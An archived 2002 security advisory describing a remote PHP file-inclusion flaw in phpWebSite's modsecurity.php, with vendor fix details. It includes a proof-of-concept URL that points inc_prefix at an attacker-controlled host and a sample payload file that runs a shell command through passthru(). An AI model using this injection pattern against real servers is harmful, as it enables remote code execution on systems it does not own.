

# [UNIX] PHP Source Injection in phpWebSite

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0097.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 09/25/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 25 Sep 2002 14:58:46 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

PHP Source Injection in phpWebSite

---

## SUMMARY

<<http://phpwebsite.appstate.edu>> phpWebSite is written in the PHP Programming Language, making it ideal for developers to write customized plug-ins. PHP is a server side programming language that is simple, cross-platform, and fast. A security vulnerability in the product allows attackers to cause the program to execute arbitrary code.

## DETAILS

Vulnerable systems:

\* phpWebSite version 0.8.2 (modsecurity.php version prior to 1.10)

Immune systems:

\* phpWebSite version 0.8.3 (modsecurity.php version prior to 1.11)

phpWebSite comes with a file called modsecurity.php, and looks like this:

```
----- modsecurity.php -----  
<?php  
global $inc_prefix;  
if(!$inc_prefix) {  
...  
}
```

## Securiteam: [UNIX] PHP Source Injection in phpWebSite

```
...  
include_once($inc_prefix."htmlheader.php");  
?>  
-----
```

If someone request a URL like:

[http://SERVER/modsecurity.php?inc\\_prefix=http://MYBOX/](http://SERVER/modsecurity.php?inc_prefix=http://MYBOX/), the htmlheader.php file from MYBOX would be included, and the attacker would be able to include any code he wants.

Examples:

[http://SERVER/catalog/includes/include\\_once.php?inc\\_prefix=http://MYBOX/](http://SERVER/catalog/includes/include_once.php?inc_prefix=http://MYBOX/)

```
---- htmlheader.php ----  
<? passthru("/bin/lis") ?>  
-----
```

The resulting output would be a directory listing of the current directory.

Sollution:

Tim informed the vendor and they released a new version (1.11) of the modsecurity.php file which is available from:

<<http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite>>  
<http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite>

A new version (0.8.3) is released so this vulnerability so new users will never have a modsecurity.php file older then version 1.11

### ADDITIONAL INFORMATION

The information has been provided by

<<mailto:Tim.Vandermeersch@pandora.be>> Tim Vandermeersch.

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

Securiteam: [UNIX] PHP Source Injection in phpWebSite

- *Previous message:* [support@securiteam.com](mailto:support@securiteam.com): "[EXPL] OpenSSL Exploit Code (Slapper)"
- *Messages sorted by:* [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)